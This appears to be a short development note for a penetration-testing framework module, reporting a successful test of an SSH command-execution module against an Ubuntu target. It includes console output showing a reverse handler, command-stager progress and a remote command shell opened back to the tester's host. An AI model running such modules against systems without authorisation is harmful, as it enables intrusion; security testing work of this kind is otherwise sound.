Review and tweaks to module

Tested working well against a Ubuntu target using the sshexec script:

```
[*] Started reverse handler on 192.168.0.6:4444
[*] Command Stager progress -  30.19% done (496/1643 bytes)
[*] Command Stager progress -  60.38% done (992/1643 bytes)
[*] Command Stager progress -  90.57% done (1488/1643 bytes)
[*] Command shell session 1 opened (192.168.0.6:4444 -> 192
[*] Command Stager progress - 100.00% done (1643/1643 bytes)
```